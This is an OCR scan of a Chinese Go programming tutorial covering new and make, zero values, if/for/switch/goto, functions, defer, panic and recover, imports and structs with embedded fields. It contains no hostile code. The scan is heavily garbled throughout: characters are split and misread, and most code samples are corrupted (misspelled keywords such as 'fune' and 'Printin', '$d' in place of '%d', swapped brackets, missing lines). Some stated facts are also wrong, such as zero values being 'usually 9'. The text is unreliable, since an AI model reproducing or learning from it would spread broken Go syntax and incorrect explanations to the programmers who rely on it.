new (T) 分 配 了 零 值 填充 的 T 类 型 的 内 存 空间 ， 并 且 返 回 其 地 址 ， 即 一 
个 *T 类 型 的 值 。 用 Go 语言 的 术语 说 ， 它 返回 了 一 个 指针 ， 指 向 新 分 配 
的 类 型 的 零 值 。 所 以 我 们 需要 记 住 这 一 点 : 

new 返 回 指针 。 

内 建 函 数 make (T, args) 与 new (T) 有 着 不 同 的 功能 ，make 只 能 
创建 slice、map 和 channel， 并 且 返 回 一 个 有 初始 值 〈 非 零 ) 的 T 类 型 ， 
而 不 是 *T。 本 质 来 讲 ， 导 致 这 三 个 类 型 有 所 不 同 的 原因 是 ， 指 向 数据 结 
构 的 引用 在 使 用 前 必须 被 初始 化 。 例 如 ， 一 个 slice， 是 一 个 包含 指向 数 
据 〔〈 内 部 array) 的 指针 、 长 度 和 容量 的 三 项 描述 符 ， 在 这 些 项 目 被 初始 
化 之 前 ，slice 为 nil。 对 于 slice、map 和 channel 来 说 ，make 初 始 化 了 内 冰 
的 数据 结构 ， 填 充 适当 的 值 。 

make 返 回 初 始 化 后 的 〈 非 零 ) 值 。 

图 2.5 详 细 解 释 了 new 和 make 之 间 的 区 别 。 
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图 2.5 make 和 new 对 应 底层 的 内 存 分 配 


关于 “ 零 值 "”， 所 指 并 非 是 空 值 ， 而 是 一 种 “变量 未 填充 前 ”的 默认 
值 ， 通 常 为 9。 此 处 罗列 部 分 类 型 的 “ 零 值 ”。 


int 0 
inte 0 
int32 0 
int64 0 


uint Ox0 
rune 0 //rune 的 实际 类 型 是 int32 
byte 0x0 // byte 的 实际 类 型 是 uint8 
float32 0 // 长 度 为 4 byte 

floated 0 // 长 度 为 8 byte 

bool false 

string "" 


2.3 流程 和 函数 
本 节 将 介绍 Go 语言 的 流程 控制 及 函数 操作 。 
流程 控制 


流程 控制 在 编程 语言 中 是 最 伟大 的 发 明 ， 因 为 有 了 它 ， 你 可 以 通过 
很 简单 的 流程 描述 来 表达 很 复杂 的 逻辑 。 流 程控 制 包含 分 三 大 类 : 条 件 
判断 、 循 环 控制 和 无 条 件 跳 转 。 

if 

站 也 许 是 各 种 编程 语言 中 最 常见 的 ， 它 的 语法 概括 起 来 就 是 ， 如 果 
满足 条 件 就 做 某 事 ， 否 则 做 另 一 件 事 。 
Go 语言 的 it 条件 判 断 语句 中 不 需要 括号 ， 如 下 代码 所 示 。 
eee is greater than 10") 
} Slee 4 

fmt.Printin("x is less than 10") 








Go 语言 的 i 还 有 一 个 强大 的 地 方 就 是 条 件 判断 语句 里 面 允 许 声明 一 
个 变量 ， 这 个 变量 的 作用 域 只 能 在 该 条 件 逻 辑 块 内 ， 其 他 地 方 就 不 起 作 
用 了 ， 如 下 所 示 。 


后 根据 x 返回 的 大 小 ， 判 断 是 否 大 于 10. 
Walue(); x > 10 { 
fmt.PrintIn("x is greater than 10") 
} else { 
fmt .Println("x is less than 10") 





} 
a T 就 编译 出 错 了 ， 因 为 x 是 条 件 里 面 的 变量 


me .Prinel 
Del ‘Tn Peta FR. 
if integer == 3 1 
fmt.Println("The integer is equal to 3") 
} else if integer < 3 { 
fmt.Printin("The integer is less than 3") 
} else { 
fmt.Printin("The integer is greater than 3") 


1 
goto 
Go 语言 有 goto 语 句 一 一 请 善 用 ， 用 goto 跳 转 到 必须 在 当前 函数 内 定 
义 的 标签 。 例 如 假设 这 样 一 个 循环 。 
fone myFune() { 
Le 
Here: /7 这 行 的 第 一 个 词 ， 以 冒号 结束 作为 标签 
println(i) 
it 
goto Here “7/ 跳 转 到 Here 去 


标签 名 是 大 小 写 敏感 的 。 

for 

Go 语言 里 最 强大 的 一 个 控制 逻辑 就 是 for， 它 既 可 以 用 来 循环 读 取 
数据 ， 又 可 以 当 作 while 米 控制 逻辑 ， 还 能 迁 代 操作 。for 的 语法 如 下 。 


for expressionl; expression2; expression3 { 
机 


‘expression1, expression2 和 expression3 都 是 表达 式 ， 其 中 expression1 
和 expression3 是 变量 声明 或 者 函数 调用 返回 值 之 类 的 ，expression2 是 用 
来 条 件 判断 ，expression1 在 循环 开始 之 前 调用 ，expression3 在 每 轮 循 环 
结束 之 时 调用 。 

用 一 个 例子 就 能 说 明 上 述 问题 。 


package main 
inport "fme" 





", sum) 


hle OER ETE NNE, HF Gok i BA lE 
符 ， 那 么 可 以 使 用 平行 赋值 1，j=i 十 1，j 一 1。 有 些 时 候 如 果 我 们 忽略 
expression1 和 expression3， 如 下 所 示 。 

PR N 


其 中 %” 也 可 以 省 略 ， 那 么 就 变 成 如 下 的 代码 了 ， 是 不 是 似曾相识 ? 
对 ， 这 就 是 while 的 功能 。 
ae cee chia 
sum += sum 











在 循环 里 面 有 两 个 关键 操作 break 和 continue ,break 操 作 是 跳出 当前 
循环 ，continue 是 跳 过 本 次 循环 。 RER 9 时 候 ，break 可 以 配合 标 









签 使 用 ， 即 跳 转 至 标签 所 指定 的 位 置 ， 详 细 参 考 如 下 例子 。 
for index := 10; index>0; index-- { 
if index St 





break // s# continue 
} 
fmt . Printin (index) 


1 

// break 打印 出 来 10 
// continue 打印 
break 和 continue 还 





pore on REIL RHE 
for 配 合 range 可 以 用 于 读 取 slice 和 map 的 数据 。 


for kv:-range map { 
fmt.Printin("map's key: 
fmt.Printin("map's val 


由 于 Go 语言 支持 “多 什 返 回 "， 对 于 “声明 而 未 被 调用 "的 变量 ， 编 译 
器 会 报错 ， 在 这 种 情况 下 ， 可 以 使 用 _ 玉 丢弃 不 需要 的 返回 值 ， 如 下 所 
ES 








nN 








for _, v := range map( 
fmt.Printin("map's val:", v) 
} 
switch 
有 些 时 候 你 需要 写 很 多 的 if-else 来 实现 一 些 逻辑 处 理 ， 代 码 看 上 去 
就 很 丑 很 兄长 ， 而 且 也 不 易于 以 后 的 维护 ， 这 个 时 候 switch 就 能 很 好 地 
解决 这 个 问题 。 它 的 语法 如 下 所 示 。 
switch sExpr { 
case exprl: 
some instructions 
case expr2: 
some other instructions 
case expr3: 
some other instructions 
default: 
other code 


+ 
SEXxpr 和 exprl、expr2、expr3 的 类 型 必须 一 致 。Go 语 言 的 switch 非 常 
灵活 ， 表 达 式 不 必 是 常量 或 整数 ， 执 行 的 过 程 从 上 至 下 ， 直 到 找到 匹配 
项 ， 而 如 果 switch 没 有 表达 式 ， 它 会 匹配 tue。 
i= 10 
switch i 1 
case 1: 
emt -Printin("i is equal to 1") 
case 2, 3, 4: 
fmt.Printin("i is equal to 2, 3 or 4") 
case 10: 
emt.Printin("i is equal to 10”) 
default: 
fmt.Printin("All I know is that i is an integer") 


à 

在 第 5 行 中 ， 我 们 把 很 多 值 聚 合 在 了 一 个 case 里 面 ， 同 时 ，Go 语 言 
里 面 switch 默 认 相 当 于 每 个 case 最 后 带 有 break， 匹 配 成 功 后 不 会 自动 向 
下 执行 其 他 case， 而 是 跳出 整个 switch， 但 是 可 以 使 用 fallthrough 强 制 执 
行 后 面 的 case 代 码 。 


integer := € 
switch integer { 
ime.Printin ("he integer was <= 4") 
fallthrough 
case 5: 
fmt.Printin("Phe integer was <= 
fallthrough 
case 6: 
fmt .Println("The integer was <= 6") 
fallthrough 
case 7: 


fme.Printin("The integer vas <= 7") 
fallthrough 

case o: 

fmt.Printin("The integer was <= 8") 
fallthrough 

default: 

fmt.Printin("default case") 


} 

上 面 的 程序 输出 结果 如 下 。 
The integer was <= 6 

The integer was <- 7 

The integer was <= 8 
default case 


函数 


函数 是 Go 语言 里 面 的 核心 设计 ， 它 通过 关键 字 func 来 声明 ， 它 的 格 
式 如 下 。 


fune funcName (inputi typel, input2 type2) (outputi typel, output? type2) ( 
// 这 里 是 处 理 逻 辑 代码 
7/ 返回 多 个 值 


return valuel, value2 


} 

我 们 通过 上 面 的 代码 得 出 如 下 结论 。 

。 关键 字 func 用 来 声明 一 个 函数 funcName。 

e 函数 可 以 有 一 个 或 者 多 个 参数 ， 每 个 参数 后 面 带 有 类 型 ， 通 
过 “,” 分 隔 函 数 可 以 返回 多 个 值 。 

e 返回 值 声明 了 两 个 变量 output1 和 output2， 如 果 你 不 想 声明 也 可 
以 ， 就 保留 两 个 类 型 声明 。 

e 如 果 只 有 一 个 返回 值 且 不 声明 返回 值 变 量 ， 那 么 你 可 以 省 略 “ 包 
括 返回 值 ”的 括号 





se， 如 果 没 有 返回 值 ， 就 直接 省 略 最 后 的 返回 信息 。 

。 ”如果 有 返回 值 ， 那 么 必须 在 函数 的 外 层 添加 return 语 句 。 
下 面 我 们 来 看 一 个 实际 应 用 函数 的 例子 〈 用 来 计算 Max 值 ) 。 
package main 

import "fmt" 


// 返回 a、b 中 最 大 值 - 


func max(a, b int) int { 





return b 
} 


func main() { 
oo 
a 
a 


max_xy := max(x, y) // 调 用 函数 max (x，y) 
max xz := max(x, z) // 调 用 函数 max (x，z) 


fmt.Printf ("max (sd, %d) 
fmt .Printf ("max (sd, $d) 
Emt .Printf ("max ($d, $d) = $ 


", x, Y, max xy) 
X, Ze, MaK X2) 
s Y, 2 max(y,z)) // 也 可 在 这 直接 调用 它 


} 

我 们 从 中 看 到 ，max 函 数 有 两 个 参数 ， 它 们 的 类 型 都 是 int， 那 么 第 
一 个 变量 的 类 型 可 以 省 略 〈 即 a，b int， 而 非 a int，b int) ， 默 认为 离 它 
最 近 的 类 型 ， 同 理 多 于 2 个 同类 型 的 变量 或 者 返回 值 。 同 时 我 们 注意 到 
它 的 返回 值 就 是 一 个 类 型 ， 这 个 就 是 省 略 写法 。 

多 个 返回 值 

Go 语言 比 C 语 言 更 先进 的 特性 之 一 就 是 函数 能 够 返回 多 个 值 。 

举例 如 下 。 





package main 
import "fmt" 


7/ 返回 A+B 和 A*B 

func SumAndProduct (A, B int) (int, int) { 
return AtB, A*B 

} 


fune main() ( 
x i= 3 


yi 4 
xPLUSy, xTIMESy := SumAndProduct (x, y) 


fmt.Printf("%d + $d = $d\n", x, y, xPLUSy) 
fmt-Print£ ("$d * $d = d\n", x, y, xTIMESy) 


} 

上 面 的 例子 中 ， 我 们 可 以 看 到 函数 直接 返回 了 两 个 参数 ， 当 然 我 们 
也 可 以 命名 返回 参数 的 变量 ， 这 个 例子 里 面 只 是 用 了 两 个 类 型 ， 我 们 改 
成 如 下 定义 ， 这 样 返回 的 时 候 不 用 带 上 变量 名 ， 因 为 直接 在 函数 里 面 初 
始 化 了 。 但 如 果 你 的 函数 是 导出 的 〈 首 字母 大 写 ) ， 官 方 建议 ， 最 好 命 
名 返回 值 ， 因 为 不 命名 返回 值 ， 虽 然 使 代码 更 加 简洁 ， 但 是 会 造成 生成 
的 文档 可 读 性 差 。 


fune SumAndProduct (A, B int) (add int, Multiplied int) ( 
add = A+B 
Multiplied = A*B 
return 


} 

变 参 

Go 语言 函数 支持 变 参 。 接 受 变 参 的 函数 有 不 定数 量 的 参数 。 为 了 
做 到 这 点 ， 首 先 需要 定义 函数 使 其 接受 变 参 。 

func myfunc(arg ...il 

arg int IER PICO Aik MSE ENS. E iX 
些 参数 的 类 型 全 部 是 int。 在 函数 体 中 ， 变 量 arg 是 一 个 int 的 slice。 

Oe a eR N 








} 

传 值 与 传 指针 

当 我 们 传 上 一 个 参数 值 到 被 调用 函数 里 面 时 ， 实 际 上 是 传 了 这 个 值 
的 一 份 copy， 当 在 被 调用 函数 中 修改 参数 值 的 时 候 ， 调 用 函数 中 相应 实 
参 不 会 发 生 任何 变化 ， 因 为 数值 变化 只 作用 在 copy 上 。 

为 了 验证 我 们 上 面 的 说 法 ， 我 们 来 看 一 个 例子 。 


package main 
import "fmt" 


7/ 简单 的 一 个 函数 ， 实 现 了 参数 +1 的 操作 
func addl(a int) int { 
a = atl // 我 们 改变 了 a 的 值 
return a // 返 回 一 个 新 值 
} 


func main() { 
x := 3 


fmt.Printin("x =", x) // Beam” 





xl := addl(x) //iH/f addi (x) 


fmt.Println ("xt 








fmt .Printin("x =", 


看 到 了 吗 ? 虽然 我 们 调用 了 add1 函 数 ， 并 且 在 add1 中 执行 a 一 a 十 1 
操作 ， 但 是 上 面 例子 中 x 变 量 的 值 没有 发 生变 化 。 

理由 很 简单 ， 因 为 当 我 们 调用 add1 的 时 候 ，add1 接 收 的 参数 其 实 是 
x 的 copy， 而 不 是 x 本 身 。 

那 你 也 许 会 问 了 ， 如 果真 的 需要 传 这 个 x 本 身 ， 该 怎么 办 呢 ? 

这 就 幸 扯 到 了 所 谓 的 指针 。 我 们 知道 ， 变 量 在 内 存 中 是 存放 于 一 定 
地 址 上 的 ， 修 改变 量 实际 是 修改 变量 地 址 处 的 内 存 。 只 有 add1 函 数 知道 
x 变量 所 在 的 地 址 ， 才 能 修改 x 变量 的 值 。 所 以 我 们 需要 将 x 所 在 地 址 &x 
传 入 函数 ， 并 将 函数 的 参数 的 类 型 由 int 改 为 *int， 即 改 为 指针 类 型 ， 才 
能 在 函数 中 修改 x 变量 的 值 。 此 时 参数 仍然 是 按 copy 传 递 的 ， 只 是 copy 
的 是 一 个 指针 。 请 看 下 面 的 例子 。 


package main 
import "fmt" 


/7 简单 的 一 个 函数 ， 实 现 了 参数 +1 的 操作 
func addl (a *int) int { // 请 注意 ， 
*a = *a+1 // BT a 的 值 


return 
1 


ra // 返回 新 值 


func main() ( 


Kaas 


fmt.Printin("x =", x) // 应 该 输出 "x = 3” 


xl := addl(&x) // 调用 addi (sx) 传 x 的 地 址 


fmt. Printin ("x+1 
fmt.Printin("x = 


We? 





o 传 指针 使 得 多 个 函数 能 操作 同一 个 对 象 。 
e” 传 指针 比较 轻 量 级 (8bytes) ， 只 是 传 内 存 地址， 我 们 可 以 用 


指针 传递 体积 大 的 结构 体 。 如 果 用 参数 值 传递 的 话 ， 在 每 次 copy 上 面 就 


会 花费 相对 较 多 的 系统 开销 《内 存 和 时 间 ) 。 所 以 当 你 要 传递 大 的 结构 


体 的 时 候 ， 





用 指针 是 一 个 明智 的 选择 。 


。 Go 语言 中 string，slice，map 这 三 种 类 型 的 实现 机 制 类 似 指 针 ， 
所 以 可 以 直接 传递 ， 而 不 用 取 地 址 后 传递 指针 。 注 意 ， 若 函数 需 改变 


slice 的 长 度 ， 
defer 


则 仍 需要 取 地 址 传递 指针 


Go 语言 中 有 种 不 错 的 设计 ， 即 延迟 〈defer) 语句 ， 你 可 以 在 函数 
中 添加 多 个 defer 语 句 。 当 函数 执行 到 最 后 时 ， 这 些 defer 语 句 会 按照 逆序 
执行 






最 后 该 函数 返回 。 特 别 是 当 你 在 进行 一 些 打开 资源 的 操作 时 ， 遇 
要 提前 返回 ， 在 返回 前 你 






关闭 相应 的 资源 ， 不 然 很 容易 造 
源 操作 如 下 所 示 。 





避 题 。 我 们 打开 一 个 资 


func Readwrite() bool { 
file.Open ("file") 
11 做 一 些 工作 
if failurex 1 
file.Close() 
return false 


failurey { 
file.Close() 
return false 
上 


file.close() 
return true 


3: 

我 们 看 到 上 面 有 很 多 重复 的 代码 ，Go 语 言 的 defer 有 效 解决 了 这 个 
问题 。 使 用 它 后 ， 不 但 代码 量 减少 了 很 多 ， 而 且 程序 变 得 更 优雅 。 在 
defer 后 指定 的 函数 会 在 函数 退出 前 调用 。 

func ReadWrite() bool { 

file.Open ("file") 

defer file.Close() 

if failurex { 
return false 

1 


failurey 1 
return false 
上 

return true 


如 果 有 很 多 调用 defer， 那 么 defer 是 采用 后 进 先 出 模式 ， 所 以 如 下 代 
码 会 输出 43 2 10。 
for i mir tt < Sr i++ [ 
defer fmt.Printf("%d ", i) 


函数 作为 信 、 类 型 
在 Go 请 宕 中 函数 也 是 一 种 变量 ， 我 们 可 以 通过 type 玉 定义 它 ， 它 的 
类 型 就 是 所 有 拥有 相同 的 参数 ， 相 癌 的 返回 值 。 


type typeName func(inputi inputTypel, input2 inputType2 [, ...]) (result1 
resultTypel 


亢 疾 入 为 关 寞 到底 有 什么 好 处 呢 ? 那 就 是 可 以 把 这 个 类 型 的 函数 当 
做 值 米 传 递 ， 请 看 下 面 的 例子 。 


Package main 
import "fmt" 


type testint func(int) bool // 声明 了 一 个 函数 类 型 
func isOdd(integer int) bool { 


if integers2 一 0 { 
return false 





return true 





return true 


+ 
return false 


/ 声明 的 函数 类 型 在 这 个 地 方 当做 了 一 个 参数 


func filter(slice [Jint, f testInt) [lint { 
var result []int 
for , value 
if f(value) { 
result = append(result, value) 
} 





ange slice { 





return result 
} 


func main() 
aries elites (i tl ch By 
fmt.Printin("slice = ", slice) 
odd ;= filter(slice, isodd) // 函数 当 做 值 来 传递 了 
fmt.Printin ("Odd elements of slice are: ", odd) 
even := filter(slice, isEven) // 函数 当做 值 来 传递 了 
fmt .Println ("Even elements of slice are: ", even) 


函数 当做 值 和 类 型 在 我 们 写 一 些 通用 接口 的 时 候 非 常 有 用 ， 通过 上 
面 例子 我 们 看 到 testInt 这 个 类 型 是 一 个 函数 类 型 ， 两 个 ter 函数 的 参数 
和 返回 值 与 testInt 类 型 是 一 样 的 ， 但 是 我 们 可 以 实现 很 多 种 的 逻辑 ， 这 
样 使 得 我 们 的 程序 变 得 非常 灵活 。 

Panic 和 Recover 

Go 语言 没有 像 Java 语 言 那样 的 异常 机 制 ， 它 不 能 抛 出 异常 ， 而 是 使 
用 了 panic 和 recover 机 制 。 一 定 要 记 住 ， 你 应 当 把 它 作 为 最 后 的 手段 来 使 





用 ， 也 就 是 说 ， 你 的 代码 中 应 当 没有 ， 或 者 很 少 有 panic 的 东西 。 这 是 个 
强大 的 工具 ， 我 们 应 该 如 何 使 用 它 呢 ? 

Panic 

Panic 是 一 个 内 建 函数 ， 可 以 中 断 原 有 的 控制 流程 ， 进 入 一 个 令 人 
恐慌 的 流程 中 。 当 函数 F 调 用 panic， 函 数 F 的 执行 被 中 断 ， 但 是 F 中 的 延 
迟 函 数 会 正常 执行 ， 然 后 F 返 回 到 调用 它 的 地 方 。 在 调用 的 地 方 ，EF 的 行 
为 就 像 调用 了 panic。 过 程 继续 向 上 ， 直 到 发 生 panic 的 goroutine 中 所 
有 调用 的 函数 返回 ， 此 时 程序 退出 。 恐 慌 可 以 直接 调用 panic 产 生 ， 也 可 
以 由 运行 时 错误 产生 ， 例 如 访问 越界 的 数组 。 

Recover 

Recover 是 一 个 内 建 的 函数 ， 可 以 让 进入 令 人 恐慌 的 流程 中 的 
goroutine 恢 复 过 来 。recover 仅 在 延迟 函数 中 有 效 。 在 正常 的 执行 过 程 
中 ， 调 用 recover 会 返回 nil， 并 且 没有 其 他 任何 效果 。 如 果 当 前 的 
goroutine 陷 入 恐慌 ， 调 用 recover 可 以 捕获 到 panic 的 输入 值 ， 并 且 恢 复 正 
常 的 执行 。 

下 面 这 个 函数 演示 了 如 何在 过 程 中 使 用 panic。 


var user = os.Getenv ("USER") 








fune init() ( 
if user == "" ( 
panic("no value for $USER") 
} 


下 面 这 个 函数 检查 作为 其 参数 的 函数 在 执行 时 是 否 会 产生 panic。 


func throwsPanic(f fune()) (b bool) { 





if x := recover(); x != nil { 
b= true 
T 
t0 /7 执行 函数 荆 ， 如 果 工 中 出 现 了 panic， 那 么 就 可 以 恢复 回来 
return 

main 函 数 和 init 函 数 

Go 语言 里 面 有 两 个 保留 的 函数 ，init 函 数 〈 能 够 应 用 于 所 有 的 
package) 和 main 函 数 〈 只 能 应 用 于 package main) 。 这 两 个 函数 在 定义 
时 不 能 有 任何 的 参数 和 返回 值 。 虽然 一 个 package 里 面 可 以 写 任意 多 个 
init 函 数 ， 但 这 无 论 是 对 于 可 读 性 还 是 以 后 的 可 维护 性 来 说 ， 我 们 都 强 
烈 建议 用 户 在 一 个 package 中 一 个 文件 只 写 一 个 init 

Go 语言 程序 会 自动 调用 init0 和 main0， 所 以 你 不 需要 在 任何 地 方 调 

用 这 两 个 函数 。 每 个 package 中 的 init 函 数 都 是 可 选 的 ， 但 package main 就 











必须 包含 一 个 main 函 数 。 
程序 的 初始 化 和 执行 都 起 始 于 main 包 。 如 果 main 包 还 导入 了 其 他 的 

包 ， 那 么 在 编译 时 就 会 将 它们 依次 导入 。 有 时 一 个 包 被 多 个 包 同 时 导 
入 ， 那 么 它 只 会 被 导入 一 次 〈 例 如 很 多 包 可 能 都 会 用 到 fmt 包 ， 但 它 只 
会 被 导入 一 次 ， ? 当 一 个 包 被 导入 时 ， 如 果 该 
包 还 导入 了 其 他 的 包 ， 那 么 会 电导 入 进来 ， 然 后 再 对 这 些 包 中 
的 包 级 常量 和 变量 进行 初始 化 ， 接 着 执行 init 函 数 〈《 如 果 有 的 话 ) ， 依 
此 类 推 。 等 所 有 被 导入 的 包 都 加 载 完毕 了 ， 就 会 开始 对 main 包 中 的 包 级 

TRM rts 然后 执行 main 包 中 的 init 函 数 o 
， 最 后 执行 main 函 数 。 图 2.6 详 细 地 解释 了 整个 执行 过 
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const... 
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Exit 


图 2.6 main 函数 引入 包 初始 化 流程 图 
import 
我 们 在 写 Go 语 cecil gids 到 import 这 个 命令 来 导入 包 文 
件 ， 而 我 们 经 常 看 到 的 方式 参考 如 下 


import ( 
“fmt” 


然后 我 们 代码 里 面 可 以 通过 过 如 下 的 方式 调用 。 
fmt ‘intln ("hello world" 
9 标准 库 ， 其 实 是 去 goroot 下 加 载 该 模块 ， 











上 面 这 个 ftmt 是 Go 语言 
当然 Go 语言 的 import 还 支持 如 下 两 种 方式 来 加 载 自己 写 的 模块 。 

1， 相 对 路 径 

import “./model”// 当 前 文件 同一 目录 的 model 目 录 ， 但 是 不 建议 这 种 
方式 来 import。 

2. 绝对 路 径 








import “shorturl/model”// 加 载 gopath/src/shorturymodel 模 块 。 

上 面 展示 了 一 些 import 常 用 的 几 种 方式 ， 但 是 还 有 一 些 特殊 的 
import, Pr aca 下 面 我 们 来 一 一 讲解 到 底 是 怎么 回 事 。 
1. A 

我 们 有 时 候 会 看 到 如 下 的 方式 导入 包 。 


import ( 
"Emt" 


该 点 操作 的 含义 就 是 这 个 包 导入 之 后 在 你 调用 这 个 包 的 函数 时 ， 你 








可 以 省 略 前 组 的 包 名 ， 也 就 是 前 面 你 调用 的 fmtPrintin Chello world") 
可 以 省 略 的 写成 Printin ("hello world") 。 
2. 别名 操作 
别名 操作 顾名思义 ， 我 们 可 以 把 包 命 名 成 男 一 个 我 们 用 起 来 容易 记 
忆 的 名 字 。 
import ( 
£ "ene" 


别名 操作 调用 包 函 数 时 前 级 变 成 了 我 们 的 前 级 ， 即 fPrintin("hello 


vo "eo 
_ 操 作 
这 不 提 作 经 党 是 让 很多 人 费解 的 一 个 操作 符 ， 请 看 下 面 这 个 
import。 
import ( 
“database/sql” 
_ “github. com/ziutek/mymysql/goarv" 


”操作 其 实 是 引入 该 包 ， 不 直接 使 用 包 里 面 的 函数 ， 而 是 调用 了 该 
包 里 面 的 init 函 数 。 
2.4 struct 类 型 


Struct 


Go 语言 中 ， 也 和 C 语 言 或 者 其 他 语言 一 样 ， 我 们 可 以 声明 新 的 类 
型 ， 作 为 其 他 类 型 的 属性 或 字段 的 容器 。 例 如 ， 我 们 可 以 创建 一 个 自 定 
义 类 型 person 代 表 一 个 人 的 实体 。 这 个 实体 拥有 属性 ， 姓名 和 年 龄 。 这 
样 的 类 型 我 们 称 之 struct。 如 下 代码 所 示 。 


type person struct { 
name string 
age int 


逢 到 了 吗 ? 声明 一 个 struct 如 此 简单 ， 上 面 的 类 型 包含 有 两 个 字 


”。 一 个 sting 类 型 的 字段 name， 用 来 保存 用 户 名 称 这 个 属性 。 
se 一 个 int 类 型 的 字段 age， 用 来 保存 用 户 年 龄 这 个 属性 。 
如 何 使 用 struct 呢 ? 请 看 下 面 的 代码 。 
type person struct { 
ae AA 
} 


var P person // ?现在 就 是 person 类 型 的 变 最 了 


P.name = "Rstaxien // 赋值 "Astaxie" 给 P 的 name 属性 . 
P.age = 25 // 赋值 "25" 给 变量 P 的 age 属性 
fmt.Printf ("The person's name is %s", P.name) // 访问 的 name 属性 . 
除了 上 面 这 种 P 的 声明 使 用 之 外 ， 还 有 两 种 声明 使 用 方式 。 
1. eae ae 
各 i= person("Tom", 
过 field: vat AE, 这 样 可 以 任意 顺序 。 


? i= person{age:24, name: 


下 面 我 们 看 一 个 Sew  Hotrucet PIT- 


Package main 
import "fmt" 


77 声明 一 个 新 的 类 型 
type person struct { 
name string 
age int 
) 


77 比较 两 个 人 的 年 龄 ， 返 回 年 龄 大 的 那个 人 ， 并 且 返 回 年 龄 差 
// struct 也 是 传 值 的 
func Older(pl, p2 person) (person, int) { 
if pl.age>p2.age [ // 比较 pl 和 pz 这 两 个 人 的 年 龄 
return pl, pl.age-p2.age 
上 
return p2, p2.age-pl.age 
} 


func main() { 
var tom person 


77 赋值 初始 化 


tom.name, tom.age = "Tom", 18 


7/ 两 个 字段 都 写 清楚 的 初始 化 


bob := person{age:25, name:"Bob") 





7/ R struct 定义 顺序 初始 化 值 


paul := person{"Paul", 43} 





th Older, tb_diff 
tp_Older, tp_diff 
bp_Older, bp_diff 


Older (tom, bob) 
Older (tom, paul) 
Older (bob, paul) 





fmt.Printf ("Of ès and $s, $s is older by sd years\n", 
tom.name, bob.name, th Older.name, tb diff) 


imt.Print£("O£ %s and ès, ts is older by $d years\n", 
tom.name, paul.name, tp Older.name, tp_diff) 


fmt.Printf("Of $s and %s, %s is older by %d years\n", 
bob.name, paul.name, bp_Older.name, bp_diff) 


struct 的 匿名 字段 
上 文 介绍 了 如 何 定义 一 个 struct， 定 义 的 时 候 是 字段 名 与 其 类 型 一 


一 对 应 ， 实 际 上 Go 语言 支持 只 提供 类 型 ， 而 不 写字 段 名 的 方式 ， 也 
是 匿名 字段 ， 或 称 为 嵌入 字段 。 

当 匿 名 字段 是 一 个 struct 的 时 候 ， 那 么 这 个 struct 所 拥有 的 全 部 字段 
都 被 隐 式 地 引入 了 当前 定义 的 这 个 struct。 

让 我 们 来 看 一 个 例子 ， 让 上 面 说 的 这 些 更 具体 化 。 

package main 

import "fmt" 





type Human struct 1 
name string 
age int 
weight int 

} 


type Student struct { 
Human // BFR, BAKU student 就 包含 了 Human 的 所 有 字段 
speciality string 

) 


func main() { 
11 我 们 初始 化 一 个 学 生 


mark := Student(Human{"Mark", 25, 120}, "Computer Science") 


Jf 我 们 访问 相应 的 字段 

fmt.Printin("His name is ", mark.name) 
fmt.Println("His age is ", mark.age) 

fmt.Println ("His weight is ", mark.weight) 
fmt.Println("His speciality is ", mark.speciality) 
7/ 修改 对 应 的 备注 信 ， 
mark,speciality = "AI" 

fmt.Println ("Mark changed his speciality") 
fmt.Println("His speciality is ", mark.speciality) 
77 修改 他 的 年 龄 信息 

fmt.Printin ("Mark become old") 

mark.age = 46 

fmt.Println ("His age is", mark.age) 

// 修改 他 的 体重 信息 

fmt.Println ("Mark is not an athlet anymore") 
mark.weight += 60 

fmt.Printin ("His weight is", mark.weight) 


于 述 代码 的 数据 结构 可 以 通过 如 图 2.7 玉 描述 























Skills 

















三 


图 2.7 Student 和 Human 的 方法 继承 


我 们 看 到 Student 访 问 属性 age 和 name 的 时 候 ， 就 像 访问 自己 所 有 用 
的 字段 一 样 ， 对 ， 匿 名 字段 就 是 这 样 ， 能 够 实现 字段 的 继承 。 是 不 是 很 
M? 还 有 比 这 个 更 酷 的 呢 ! 那 就 是 student 还 能 访问 Human 这 个 字段 作为 
字段 名 ， 请 看 下 面 的 代码 。 

A sl SHE 

mark, Human,age -= 


fit Pave ese Un 但 不 仅仅 是 struct 字 段 ， 所 有 的 
内 置 类 型 和 自 定义 类 型 都 可 以 作为 匿名 字段 。 请 看 下 面 的 例子 。 


package main 
import "fmt" 


type Skills []string 


type Human struct { 
name string 
age int 
weight int 


type Student struct { 
Human // EAF, struct 
skills // 匿名 字段 ， 自 定义 的 类 型 string slice 
int // 内 容 类 型 作为 及 名 字段 
speciality string 
F 


func maint) { 
// 初始 化 学 生 Jane 
jane := studentiRuman:Human{"Jane", 35, 100}, speciality:"Biology"} 
7Z7 现在 我 们 来 访问 相应 的 字段 
fmt.println ("Her name i jane.name) 
fmt.Printin("Her age is ", jane.age) 
fut.printin ("Her weight is ", 4 
fmt .PrintIn ("Her speciality is 
7/ 我 们 来 修改 他 的 skill HEF 
jane.skills = []string{"anatomy"} 
fut.Println("Her skills are ", jane.Skills) 
fmt.PrintIn("She acquired two new ones ") 
jane.Skills = append(jane.skills, "physics", "golang") 
fmt .Println ("Her skills now are ", jane.skills) 
/4 NESE A PY RAS Be 
jane.int = 3 
fut .PrintIn ("Her preferred number is", jane.int) 


i 

从 上 面 例子 可 见 ，struct 不 仅 能 将 struct 作 为 匿名 字段 ， 自 定义 类 
型 、 内 置 类 型 都 可 以 作为 匿名 字段 ， 而 且 可 以 在 相应 的 字段 上 进行 函数 
操作 〈 如 例子 中 的 append) 。 

有 个 问题 : 如 果 human 里 面 有 一 个 字段 叫做 phone， 而 student 也 有 一 
个 字段 叫做 phone， 那 么 该 怎么 办 呢 ? 

Go 语言 很 简单 地 解决 了 这 个 问题 ， 最 外 层 的 优先 访问 ， 也 就 是 当 
你 通过 student.phone 访 问 的 时 候 ， 是 访问 student 里 面 的 字段 ， 而 不 是 
human 里 面 的 字段 

这 样 就 允许 我 们 去 重 载 通过 匿名 字段 继承 的 一 些 字段 ， 当 然 如 果 我 
们 想 访问 重 载 后 对 应 匿名 类 型 里 面 的 字段 ， 可 以 通过 匿名 字段 名 来 访 








eight) 
-speciality) 











问 。 请 看 下 面 的 例子 。 
package main 
import "fmt" 





type Human struct 
name string 
age int 
phone string // Human 类 型 拥有 的 字段 


} 


type ve nee $ 
Human // 匿名 字段 Human 
speciality string 
phone string // 雇员 的 phone 字段 
} 


func main() { 







Bob := Bmployee{Human("Bob", 34, "777-444-XXXX"}, "Designer", 
"333-222"} 

fmt. Print Bob. phone) 

/7 tw RABIN 

fmt -println 's personal phone is:", Bob.Human.phone) 


} 


2.5 面向 对 象 


